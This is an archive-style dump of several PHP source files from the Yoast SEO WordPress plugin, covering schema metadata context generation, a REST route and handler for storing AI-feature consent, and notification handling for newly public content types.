	 * Generates the site name from the WordPress options.
	 *
	 * @return string The site name from the WordPress options.
	 */
	public function generate_wordpress_site_name() {
		return $this->site->get_site_name();
	}

	/**
	 * Generates the site url.
	 *
	 * @return string The site url.
	 */
	public function generate_site_url() {
		$home_page_indexable = $this->indexable_repository->find_for_home_page();

		if ( $this->indexable_helper->dynamic_permalinks_enabled() ) {
			return \trailingslashit( $this->permalink_helper->get_permalink_for_indexable( $home_page_indexable ) );
		}

		return \trailingslashit( $home_page_indexable->permalink );
	}

	/**
	 * Generates the company name.
	 *
	 * @return string The company name.
	 */
	public function generate_company_name() {
		/**
		 * Filter: 'wpseo_schema_company_name' - Allows filtering company name
		 *
		 * @param string $company_name.
		 */
		$company_name = \apply_filters( 'wpseo_schema_company_name', $this->options->get( 'company_name' ) );

		if ( empty( $company_name ) ) {
			$company_name = $this->site_name;
		}

		return $company_name;
	}

	/**
	 * Generates the alternate company name.
	 *
	 * @return string
	 */
	public function generate_company_alternate_name() {
		return (string) $this->options->get( 'company_alternate_name' );
	}

	/**
	 * Generates the person logo id.
	 *
	 * @return int|bool The company logo id.
	 */
	public function generate_person_logo_id() {
		$person_logo_id = $this->image->get_attachment_id_from_settings( 'person_logo' );

		if ( empty( $person_logo_id ) ) {
			$person_logo_id = $this->fallback_to_site_logo();
		}

		/**
		 * Filter: 'wpseo_schema_person_logo_id' - Allows filtering person logo id.
		 *
		 * @param int $person_logo_id.
		 */
		return \apply_filters( 'wpseo_schema_person_logo_id', $person_logo_id );
	}

	/**
	 * Retrieve the person logo meta.
	 *
	 * @return array<string|array<int>>|bool
	 */
	public function generate_person_logo_meta() {
		$person_logo_meta = $this->image->get_attachment_meta_from_settings( 'person_logo' );

		if ( empty( $person_logo_meta ) ) {
			$person_logo_id   = $this->fallback_to_site_logo();
			$person_logo_meta = $this->image->get_best_attachment_variation( $person_logo_id );
		}

		/**
		 * Filter: 'wpseo_schema_person_logo_meta' - Allows filtering person logo meta.
		 *
		 * @param string $person_logo_meta.
		 */
		return \apply_filters( 'wpseo_schema_person_logo_meta', $person_logo_meta );
	}

	/**
	 * Generates the company logo id.
	 *
	 * @return int|bool The company logo id.
	 */
	public function generate_company_logo_id() {
		$company_logo_id = $this->image->get_attachment_id_from_settings( 'company_logo' );

		if ( empty( $company_logo_id ) ) {
			$company_logo_id = $this->fallback_to_site_logo();
		}

		/**
		 * Filter: 'wpseo_schema_company_logo_id' - Allows filtering company logo id.
		 *
		 * @param int $company_logo_id.
		 */
		return \apply_filters( 'wpseo_schema_company_logo_id', $company_logo_id );
	}

	/**
	 * Retrieve the company logo meta.
	 *
	 * @return array<string|array<int>>|bool
	 */
	public function generate_company_logo_meta() {
		$company_logo_meta = $this->image->get_attachment_meta_from_settings( 'company_logo' );

		/**
		 * Filter: 'wpseo_schema_company_logo_meta' - Allows filtering company logo meta.
		 *
		 * @param string $company_logo_meta.
		 */
		return \apply_filters( 'wpseo_schema_company_logo_meta', $company_logo_meta );
	}

	/**
	 * Generates the site user id.
	 *
	 * @return int The site user id.
	 */
	public function generate_site_user_id() {
		return (int) $this->options->get( 'company_or_person_user_id', false );
	}

	/**
	 * Determines what our site represents, and grabs their values.
	 *
	 * @return string|false Person or company. False if invalid value.
	 */
	public function generate_site_represents() {
		switch ( $this->options->get( 'company_or_person', false ) ) {
			case 'company':
				// Do not use a non-named company.
				if ( empty( $this->company_name ) ) {
					return false;
				}

				/*
				 * Do not use a company without a logo.
				 * The logic check is on `< 1` instead of `false` due to how `get_attachment_id_from_settings` works.
				 */
				if ( $this->company_logo_id < 1 ) {
					return false;
				}

				return 'company';
			case 'person':
				// Do not use a non-existing user.
				if ( $this->site_user_id !== false && \get_user_by( 'id', $this->site_user_id ) === false ) {
					return false;
				}

				return 'person';
		}

		return false;
	}

	/**
	 * Returns the site represents reference.
	 *
	 * @return array<string>|bool The site represents reference. False if none.
	 */
	public function generate_site_represents_reference() {
		if ( $this->site_represents === 'person' ) {
			return [ '@id' => $this->id_helper->get_user_schema_id( $this->site_user_id, $this ) ];
		}
		if ( $this->site_represents === 'company' ) {
			return [ '@id' => $this->site_url . Schema_IDs::ORGANIZATION_HASH ];
		}

		return false;
	}

	/**
	 * Returns whether or not open graph is enabled.
	 *
	 * @return bool Whether or not open graph is enabled.
	 */
	public function generate_open_graph_enabled() {
		return $this->options->get( 'opengraph' ) === true;
	}

	/**
	 * Returns the open graph publisher.
	 *
	 * @return string The open graph publisher.
	 */
	public function generate_open_graph_publisher() {
		if ( $this->site_represents === 'company' ) {
			return $this->options->get( 'facebook_site', '' );
		}
		if ( $this->site_represents === 'person' ) {
			return $this->user->get_the_author_meta( 'facebook', $this->site_user_id );
		}

		return $this->options->get( 'facebook_site', '' );
	}

	/**
	 * Returns the twitter card type.
	 *
	 * @return string The twitter card type.
	 */
	public function generate_twitter_card() {
		return 'summary_large_image';
	}

	/**
	 * Returns the schema page type.
	 *
	 * @return string|array<string> The schema page type.
	 */
	public function generate_schema_page_type() {
		switch ( $this->indexable->object_type ) {
			case 'system-page':
				switch ( $this->indexable->object_sub_type ) {
					case 'search-result':
						$type = [ 'CollectionPage', 'SearchResultsPage' ];
						break;
					default:
						$type = 'WebPage';
				}
				break;
			case 'user':
				$type = 'ProfilePage';
				break;
			case 'home-page':
			case 'date-archive':
			case 'term':
			case 'post-type-archive':
				$type = 'CollectionPage';
				break;
			default:
				$additional_type = $this->indexable->schema_page_type;
				if ( $additional_type === null ) {
					$additional_type = $this->options->get( 'schema-page-type-' . $this->indexable->object_sub_type );
				}

				$type = [ 'WebPage', $additional_type ];

				// Is this indexable set as a page for posts, e.g. in the WordPress reading settings as a static homepage?
				if ( (int) \get_option( 'page_for_posts' ) === $this->indexable->object_id ) {
					$type[] = 'CollectionPage';
				}

				// Ensure we get only unique values, and remove any null values and the index.
				$type = \array_filter( \array_values( \array_unique( $type ) ) );
		}

		/**
		 * Filter: 'wpseo_schema_webpage_type' - Allow changing the WebPage type.
		 *
		 * @param string|array $type The WebPage type.
		 */
		return \apply_filters( 'wpseo_schema_webpage_type', $type );
	}

	/**
	 * Returns the schema article type.
	 *
	 * @return string|array<string> The schema article type.
	 */
	public function generate_schema_article_type() {
		$additional_type = $this->indexable->schema_article_type;
		if ( $additional_type === null ) {
			$additional_type = $this->options->get( 'schema-article-type-' . $this->indexable->object_sub_type );
		}

		/** This filter is documented in inc/options/class-wpseo-option-titles.php */
		$allowed_article_types = \apply_filters( 'wpseo_schema_article_types', Schema_Types::ARTICLE_TYPES );

		if ( ! \array_key_exists( $additional_type, $allowed_article_types ) ) {
			$additional_type = $this->options->get_title_default( 'schema-article-type-' . $this->indexable->object_sub_type );
		}

		// If the additional type is a subtype of Article, we're fine, and we can bail here.
		if ( \stripos( $additional_type, 'Article' ) !== false ) {
			/**
			 * Filter: 'wpseo_schema_article_type' - Allow changing the Article type.
			 *
			 * @param string|string[] $type      The Article type.
			 * @param Indexable       $indexable The indexable.
			 */
			return \apply_filters( 'wpseo_schema_article_type', $additional_type, $this->indexable );
		}

		$type = 'Article';

		/*
		 * If `None` is set (either on the indexable or as a default), set type to 'None'.
		 * This simplifies is_needed checks downstream.
		 */
		if ( $additional_type === 'None' ) {
			$type = $additional_type;
		}

		if ( $additional_type !== $type ) {
			$type = [ $type, $additional_type ];
		}

		// Filter documented on line 499 above.
		return \apply_filters( 'wpseo_schema_article_type', $type, $this->indexable );
	}

	/**
	 * Returns the main schema id.
	 *
	 * The main schema id.
	 *
	 * @return string
	 */
	public function generate_main_schema_id() {
		return $this->permalink;
	}

	/**
	 * Retrieves the main image URL. This is the featured image by default.
	 *
	 * @return string|null The main image URL.
	 */
	public function generate_main_image_url() {
		if ( $this->main_image_id !== null ) {
			return $this->image->get_attachment_image_url( $this->main_image_id, 'full' );
		}

		if ( \wp_is_serving_rest_request() ) {
			return $this->get_main_image_url_for_rest_request();
		}

		if ( ! \is_singular() ) {
			return null;
		}

		$url = $this->image->get_post_content_image( $this->id );
		if ( $url === '' ) {
			return null;
		}

		return $url;
	}

	/**
	 * Generates the main image ID.
	 *
	 * @return int|null The main image ID.
	 */
	public function generate_main_image_id() {
		if ( \wp_is_serving_rest_request() ) {
			return $this->get_main_image_id_for_rest_request();
		}

		$image_id = null;

		switch ( true ) {
			case \is_singular():
				$image_id = $this->get_singular_post_image( $this->id );
				break;
			case \is_author():
			case \is_tax():
			case \is_tag():
			case \is_category():
			case \is_search():
			case \is_date():
			case \is_post_type_archive():
				if ( ! empty( $GLOBALS['wp_query']->posts ) ) {
					if ( $GLOBALS['wp_query']->get( 'fields', 'all' ) === 'ids' ) {
						$image_id = $this->get_singular_post_image( $GLOBALS['wp_query']->posts[0] );
						break;
					}

					$image_id = $this->get_singular_post_image( $GLOBALS['wp_query']->posts[0]->ID );
				}
				break;
		}

		/**
		 * Filter: 'wpseo_schema_main_image_id' - Allow changing the main image ID.
		 *
		 * @param int|array $image_id The image ID.
		 */
		return \apply_filters( 'wpseo_schema_main_image_id', $image_id );
	}

	/**
	 * Determines whether the current indexable has an image.
	 *
	 * @return bool Whether the current indexable has an image.
	 */
	public function generate_has_image() {
		return $this->main_image_url !== null;
	}

	/**
	 * Strips all nested dependencies from the debug info.
	 *
	 * @return array<Indexable|Indexable_Presentation>
	 */
	public function __debugInfo() {
		return [
			'indexable'    => $this->indexable,
			'presentation' => $this->presentation,
		];
	}

	/**
	 * Retrieve the site logo ID from WordPress settings.
	 *
	 * @return int|false
	 */
	public function fallback_to_site_logo() {
		$logo_id = \get_option( 'site_logo' );
		if ( ! $logo_id ) {
			$logo_id = \get_theme_mod( 'custom_logo', false );
		}

		return $logo_id;
	}

	/**
	 * Get the ID for a post's featured image.
	 *
	 * @param int $id Post ID.
	 *
	 * @return int|null
	 */
	private function get_singular_post_image( $id ) {
		if ( \has_post_thumbnail( $id ) ) {
			$thumbnail_id = \get_post_thumbnail_id( $id );
			// Prevent returning something else than an int or null.
			if ( \is_int( $thumbnail_id ) && $thumbnail_id > 0 ) {
				return $thumbnail_id;
			}
		}

		if ( \is_singular( 'attachment' ) ) {
			return \get_query_var( 'attachment_id' );
		}

		return null;
	}

	/**
	 * Gets the main image ID for REST requests.
	 *
	 * @return int|null The main image ID.
	 */
	private function get_main_image_id_for_rest_request() {
		switch ( $this->page_type ) {
			case 'Post_Type':
				if ( $this->post instanceof WP_Post ) {
					return $this->get_singular_post_image( $this->post->ID );
				}
				return null;
			default:
				return null;
		}
	}

	/**
	 * Gets the main image URL for REST requests.
	 *
	 * @return string|null The main image URL.
	 */
	private function get_main_image_url_for_rest_request() {
		switch ( $this->page_type ) {
			case 'Post_Type':
				if ( $this->post instanceof WP_Post ) {
					$url = $this->image->get_post_content_image( $this->post->ID );
					if ( $url === '' ) {
						return null;
					}
					return $url;
				}
				return null;
			default:
				return null;
		}
	}
}

\class_alias( Meta_Tags_Context::class, 'WPSEO_Schema_Context' );
ai-consent/user-interface/consent-route.php000066600000010570152204306270015046 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\AI_Consent\User_Interface;

use RuntimeException;
use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\AI_Authorization\Application\Token_Manager;
use Yoast\WP\SEO\AI_Consent\Application\Consent_Handler;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Bad_Request_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Forbidden_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Internal_Server_Error_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Not_Found_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Payment_Required_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Request_Timeout_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Service_Unavailable_Exception;
use Yoast\WP\SEO\AI_HTTP_Request\Domain\Exceptions\Too_Many_Requests_Exception;
use Yoast\WP\SEO\Conditionals\AI_Conditional;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;

/**
 * Registers a route toget suggestions from the AI API
 *
 * @makePublic
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Consent_Route implements Route_Interface {
	/**
	 *  The namespace for this route.
	 *
	 * @var string
	 */
	public const ROUTE_NAMESPACE = Main::API_V1_NAMESPACE;

	/**
	 *  The prefix for this route.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = '/ai_generator/consent';

	/**
	 * The consent handler instance.
	 *
	 * @var Consent_Handler
	 */
	private $consent_handler;

	/**
	 * The token manager instance.
	 *
	 * @var Token_Manager
	 */
	private $token_manager;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ AI_Conditional::class ];
	}

	/**
	 * Class constructor.
	 *
	 * @param Consent_Handler $consent_handler The consent handler.
	 * @param Token_Manager   $token_manager   The token manager.
	 */
	public function __construct( Consent_Handler $consent_handler, Token_Manager $token_manager ) {
		$this->consent_handler = $consent_handler;
		$this->token_manager   = $token_manager;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		\register_rest_route(
			self::ROUTE_NAMESPACE,
			self::ROUTE_PREFIX,
			[
				'methods'             => 'POST',
				'args'                => [
					'consent' => [
						'required'    => true,
						'type'        => 'boolean',
						'description' => 'Whether the consent to use AI-based services has been given by the user.',
					],
				],
				'callback'            => [ $this, 'consent' ],
				'permission_callback' => [ $this, 'check_permissions' ],
			]
		);
	}

	/**
	 * Runs the callback to store the consent given by the user to use AI-based services.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response The response of the callback action.
	 */
	public function consent( WP_REST_Request $request ): WP_REST_Response {
		$user_id = \get_current_user_id();
		$consent = \boolval( $request->get_param( 'consent' ) );

		try {
			if ( $consent ) {
				// Store the consent at user level.
				$this->consent_handler->grant_consent( $user_id );
			}
			else {
				// Delete the consent at user level.
				$this->consent_handler->revoke_consent( $user_id );
				// Invalidate the token if the user revoked the consent.
				$this->token_manager->token_invalidate( $user_id );
			}
		} catch ( Bad_Request_Exception | Forbidden_Exception | Internal_Server_Error_Exception | Not_Found_Exception | Payment_Required_Exception | Request_Timeout_Exception | Service_Unavailable_Exception | Too_Many_Requests_Exception | RuntimeException $e ) {
			return new WP_REST_Response( ( $consent ) ? 'Failed to store consent.' : 'Failed to revoke consent.', 500 );
		}

			return new WP_REST_Response( ( $consent ) ? 'Consent successfully stored.' : 'Consent successfully revoked.' );
	}

	/**
	 * Checks:
	 * - if the user is logged
	 * - if the user can edit posts
	 *
	 * @return bool Whether the user is logged in, can edit posts and the feature is active.
	 */
	public function check_permissions(): bool {
		$user = \wp_get_current_user();
		if ( $user === null || $user->ID < 1 ) {
			return false;
		}

		return \user_can( $user, 'edit_posts' );
	}
}
ai-consent/application/consent-handler.php000066600000002135152204306270014712 0ustar00<?php

namespace Yoast\WP\SEO\AI_Consent\Application;

use Yoast\WP\SEO\Helpers\User_Helper;

/**
 * Class Consent_Handler
 * Handles the consent given or revoked by the user.
 *
 * @makePublic
 */
class Consent_Handler implements Consent_Handler_Interface {

	/**
	 * Holds the user helper instance.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Class constructor.
	 *
	 * @param User_Helper $user_helper The user helper.
	 */
	public function __construct( User_Helper $user_helper ) {
		$this->user_helper = $user_helper;
	}

	/**
	 * Handles consent revoked by deleting the consent user metadata from the database.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function revoke_consent( int $user_id ) {
		$this->user_helper->delete_meta( $user_id, '_yoast_wpseo_ai_consent' );
	}

	/**
	 * Handles consent granted by adding the consent user metadata to the database.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function grant_consent( int $user_id ) {
		$this->user_helper->update_meta( $user_id, '_yoast_wpseo_ai_consent', true );
	}
}
content-type-visibility/user-interface/content-type-visibility-dismiss-new-route.php000066600000010412152204306270025224 0ustar00<?php

namespace Yoast\WP\SEO\Content_Type_Visibility\User_Interface;

use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;

/**
 * Handles the dismiss route for "New" badges of new content types in settings menu.
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Content_Type_Visibility_Dismiss_New_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * Represents the alerts route prefix.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = 'new-content-type-visibility';

	/**
	 * Represents post type dismiss route.
	 *
	 * @var string
	 */
	public const POST_TYPE_DISMISS_ROUTE = self::ROUTE_PREFIX . '/dismiss-post-type';

	/**
	 * Represents taxonomy dismiss route.
	 *
	 * @var string
	 */
	public const TAXONOMY_DISMISS_ROUTE = self::ROUTE_PREFIX . '/dismiss-taxonomy';

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Content_Type_Visibility_Dismiss_Notifications
	 */
	private $dismiss_notifications;

	/**
	 * Constructs Content_Type_Visibility_Dismiss_New_Route.
	 *
	 * @param Content_Type_Visibility_Dismiss_Notifications $dismiss_notifications The options helper.
	 */
	public function __construct( Content_Type_Visibility_Dismiss_Notifications $dismiss_notifications ) {
		$this->dismiss_notifications = $dismiss_notifications;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$post_type_dismiss_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'post_type_dismiss_callback' ],
			'permission_callback' => [ $this, 'can_dismiss' ],
			'args'                => [
				'postTypeName' => [
					'validate_callback' => [ $this, 'validate_post_type' ],
				],
			],
		];

		$taxonomy_dismiss_route_args = [
			'methods'             => 'POST',
			'callback'            => [ $this, 'taxonomy_dismiss_callback' ],
			'permission_callback' => [ $this, 'can_dismiss' ],
			'args'                => [
				'taxonomyName' => [
					'validate_callback' => [ $this, 'validate_taxonomy' ],
				],
			],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::POST_TYPE_DISMISS_ROUTE, $post_type_dismiss_route_args );
		\register_rest_route( Main::API_V1_NAMESPACE, self::TAXONOMY_DISMISS_ROUTE, $taxonomy_dismiss_route_args );
	}

	/**
	 * Whether or not the current user is allowed to dismiss alerts.
	 *
	 * @return bool Whether or not the current user is allowed to dismiss alerts.
	 */
	public function can_dismiss() {
		return \current_user_can( 'edit_posts' );
	}

	/**
	 * Validates post type.
	 *
	 * @param string          $param   The parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $key     The key.
	 *
	 * @return bool
	 */
	public function validate_post_type( $param, $request, $key ) {
		return \post_type_exists( $param );
	}

	/**
	 * Wrapper method for Content_Type_Visibility_Dismiss_Notifications::post_type_dismiss().
	 *
	 * @param WP_REST_Request $request The request. This request should have a key param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function post_type_dismiss_callback( $request ) {
		$response = $this->dismiss_notifications->post_type_dismiss( $request['post_type_name'] );

		return new WP_REST_Response(
			(object) $response,
			$response['status']
		);
	}

	/**
	 * Validates taxonomy.
	 *
	 * @param string          $param   The parameter.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $key     The key.
	 *
	 * @return bool
	 */
	public function validate_taxonomy( $param, $request, $key ) {
		return \taxonomy_exists( $param );
	}

	/**
	 * Wrapper method for Content_Type_Visibility_Dismiss_Notifications::taxonomy_dismiss().
	 *
	 * @param WP_REST_Request $request The request. This request should have a key param set.
	 *
	 * @return WP_REST_Response The response.
	 */
	public function taxonomy_dismiss_callback( WP_REST_Request $request ) {
		$response = $this->dismiss_notifications->taxonomy_dismiss( $request['taxonomy_name'] );

		return new WP_REST_Response(
			(object) $response,
			$response['status']
		);
	}
}
content-type-visibility/application/content-type-visibility-watcher-actions.php000066600000013747152204306270024326 0ustar00<?php

namespace Yoast\WP\SEO\Content_Type_Visibility\Application;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Handles showing notifications for new content types.
 * Actions are used in the indexable taxonomy and post type change watchers.
 */
class Content_Type_Visibility_Watcher_Actions implements Integration_Interface {

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * The notifications center.
	 *
	 * @var Content_Type_Visibility_Dismiss_Notifications
	 */
	private $content_type_dismiss_notifications;

	/**
	 * Indexable_Post_Type_Change_Watcher constructor.
	 *
	 * @param Options_Helper                                $options                            The options helper.
	 * @param Yoast_Notification_Center                     $notification_center                The notification center.
	 * @param Content_Type_Visibility_Dismiss_Notifications $content_type_dismiss_notifications The content type dismiss notifications.
	 */
	public function __construct(
		Options_Helper $options,
		Yoast_Notification_Center $notification_center,
		Content_Type_Visibility_Dismiss_Notifications $content_type_dismiss_notifications
	) {
		$this->options                            = $options;
		$this->notification_center                = $notification_center;
		$this->content_type_dismiss_notifications = $content_type_dismiss_notifications;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * Register actions that are used in the post types and taxonomies indexable watcher.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Used in Idexable_Post_Type_Change_Watcher class.
		\add_action( 'new_public_post_type_notifications', [ $this, 'new_post_type' ], 10, 1 );
		\add_action( 'clean_new_public_post_type_notifications', [ $this, 'clean_new_public_post_type' ], 10, 1 );

		// Used in Idexable_Taxonomy_Change_Watcher class.
		\add_action( 'new_public_taxonomy_notifications', [ $this, 'new_taxonomy' ], 10, 1 );
		\add_action( 'clean_new_public_taxonomy_notifications', [ $this, 'clean_new_public_taxonomy' ], 10, 1 );
	}

	/**
	 * Update db and tigger notification when a new post type is registered.
	 *
	 * @param array $newly_made_public_post_types The newly made public post types.
	 * @return void
	 */
	public function new_post_type( $newly_made_public_post_types ) {
		$this->options->set( 'new_post_types', $newly_made_public_post_types );
		$this->options->set( 'show_new_content_type_notification', true );
		$this->maybe_add_notification();
	}

	/**
	 * Update db when a post type is made removed.
	 *
	 * @param array $newly_made_non_public_post_types The newly made non public post types.
	 * @return void
	 */
	public function clean_new_public_post_type( $newly_made_non_public_post_types ) {
		// See if post types that needs review were removed and update option.
		$needs_review     = $this->options->get( 'new_post_types', [] );
		$new_needs_review = \array_diff( $needs_review, $newly_made_non_public_post_types );
		if ( \count( $new_needs_review ) !== \count( $needs_review ) ) {
			$this->options->set( 'new_post_types', $new_needs_review );
			$this->content_type_dismiss_notifications->maybe_dismiss_notifications( [ 'new_post_types' => $new_needs_review ] );
		}
	}

	/**
	 * Update db and tigger notification when a new taxonomy is registered.
	 *
	 * @param array $newly_made_public_taxonomies The newly made public post types.
	 * @return void
	 */
	public function new_taxonomy( $newly_made_public_taxonomies ) {
		$this->options->set( 'new_taxonomies', $newly_made_public_taxonomies );
		$this->options->set( 'show_new_content_type_notification', true );
		$this->maybe_add_notification();
	}

	/**
	 * Update db when a post type is made removed.
	 *
	 * @param array $newly_made_non_public_taxonomies The newly made non public post types.
	 * @return void
	 */
	public function clean_new_public_taxonomy( $newly_made_non_public_taxonomies ) {
		// See if post types that needs review were removed and update option.
		$needs_review     = $this->options->get( 'new_taxonomies', [] );
		$new_needs_review = \array_diff( $needs_review, $newly_made_non_public_taxonomies );
		if ( \count( $new_needs_review ) !== \count( $needs_review ) ) {
			$this->options->set( 'new_taxonomies', $new_needs_review );
			$this->content_type_dismiss_notifications->maybe_dismiss_notifications( [ 'new_taxonomies' => $new_needs_review ] );
		}
	}

	/**
	 * Decides if a notification should be added in the notification center.
	 *
	 * @return void
	 */
	public function maybe_add_notification() {
		$notification = $this->notification_center->get_notification_by_id( 'content-types-made-public' );
		if ( $notification === null ) {
			$this->add_notification();
		}
	}

	/**
	 * Adds a notification to be shown on the next page request since posts are updated in an ajax request.
	 *
	 * @return void
	 */
	private function add_notification() {
		$message = \sprintf(
			/* translators: 1: Opening tag of the link to the Search appearance settings page, 2: Link closing tag. */
			\esc_html__( 'You\'ve added a new type of content. We recommend that you review the corresponding %1$sSearch appearance settings%2$s.', 'wordpress-seo' ),
			'<a href="' . \esc_url( \admin_url( 'admin.php?page=wpseo_page_settings' ) ) . '">',
			'</a>'
		);

		$notification = new Yoast_Notification(
			$message,
			[
				'type'         => Yoast_Notification::WARNING,
				'id'           => 'content-types-made-public',
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 0.8,
			]
		);

		$this->notification_center->add_notification( $notification );
	}
}
content-type-visibility/application/content-type-visibility-dismiss-notifications.php000066600000010522152204306270025541 0ustar00<?php

namespace Yoast\WP\SEO\Content_Type_Visibility\Application;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast_Notification_Center;

/**
 * Handles dismissing notifications and "New" badges for new content types.
 */
class Content_Type_Visibility_Dismiss_Notifications {

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Constructs Content_Type_Visibility_Dismiss_New_Route.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Removes New badge from a post type in the Settings, remove notifications if needed.
	 *
	 * @param string $post_type_name The post type name from the request.
	 * @return array The response.
	 */
	public function post_type_dismiss( $post_type_name ) {
		$success                 = true;
		$message                 = \__( 'Post type is not new.', 'wordpress-seo' );
		$post_types_needs_review = $this->options->get( 'new_post_types', [] );

		if ( $post_types_needs_review && \in_array( $post_type_name, $post_types_needs_review, true ) ) {
			$new_needs_review = \array_diff( $post_types_needs_review, [ $post_type_name ] );
			$success          = $this->options->set( 'new_post_types', $new_needs_review );
			$message          = ( $success ) ? \__( 'Post type is no longer new.', 'wordpress-seo' ) : \__( 'Error: Post type was not removed from new_post_types list.', 'wordpress-seo' );
			if ( $success ) {
				$this->maybe_dismiss_notifications( [ 'new_post_types' => $new_needs_review ] );
			}
		}

		$status = ( $success ) ? 200 : 400;

		return [
			'message' => $message,
			'success' => $success,
			'status'  => $status,
		];
	}

	/**
	 * Removes New badge from a taxonomy in the Settings, remove notifications if needed.
	 *
	 * @param string $taxonomy_name The taxonomy name from the request.
	 * @return array The response.
	 */
	public function taxonomy_dismiss( $taxonomy_name ) {
		$success                 = true;
		$message                 = \__( 'Taxonomy is not new.', 'wordpress-seo' );
		$taxonomies_needs_review = $this->options->get( 'new_taxonomies', [] );

		if ( \in_array( $taxonomy_name, $taxonomies_needs_review, true ) ) {

			$new_needs_review = \array_diff( $taxonomies_needs_review, [ $taxonomy_name ] );
			$success          = $this->options->set( 'new_taxonomies', $new_needs_review );
			$message          = ( $success ) ? \__( 'Taxonomy is no longer new.', 'wordpress-seo' ) : \__( 'Error: Taxonomy was not removed from new_taxonomies list.', 'wordpress-seo' );
			if ( $success ) {
				$this->maybe_dismiss_notifications( [ 'new_taxonomies' => $new_needs_review ] );
			}
		}

		$status = ( $success ) ? 200 : 400;

		return [
			'message' => $message,
			'success' => $success,
			'status'  => $status,
		];
	}

	/**
	 * Checks if there are new content types or taxonomies.
	 *
	 * @param array $new_content_types The new content types.
	 * @return void
	 */
	public function maybe_dismiss_notifications( $new_content_types = [] ) {

		$post_types_needs_review = ( \array_key_exists( 'new_post_types', $new_content_types ) ) ? $new_content_types['new_post_types'] : $this->options->get( 'new_post_types', [] );
		$taxonomies_needs_review = ( \array_key_exists( 'new_taxonomies', $new_content_types ) ) ? $new_content_types['new_taxonomies'] : $this->options->get( 'new_taxonomies', [] );

		if ( $post_types_needs_review || $taxonomies_needs_review ) {
			return;
		}
		$this->dismiss_notifications();
	}

	/**
	 * Dismisses the notification in the notification center when there are no more new content types.
	 *
	 * @return bool
	 */
	public function dismiss_notifications() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'content-types-made-public' );
		return $this->options->set( 'show_new_content_type_notification', false );
	}

	/**
	 * Check if there is a new content type to show notification only once in the settings.
	 *
	 * @return bool Should the notification be shown.
	 */
	public function maybe_add_settings_notification() {
		$show_new_content_type_notification = $this->options->get( 'show_new_content_type_notification', false );
		if ( $show_new_content_type_notification ) {
			$this->options->set( 'show_new_content_type_notification', false );
		}
		return $show_new_content_type_notification;
	}
}
repositories/indexable-hierarchy-repository.php000066600000007622152204306270016144 0ustar00<?php

namespace Yoast\WP\SEO\Repositories;

use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Models\Indexable;

/**
 * Class Indexable_Hierarchy_Repository.
 */
class Indexable_Hierarchy_Repository {

	/**
	 * Represents the indexable hierarchy builder.
	 *
	 * @var Indexable_Hierarchy_Builder
	 */
	protected $builder;

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Sets the hierarchy builder.
	 *
	 * @required
	 *
	 * @param Indexable_Hierarchy_Builder $builder The indexable hierarchy builder.
	 *
	 * @return void
	 */
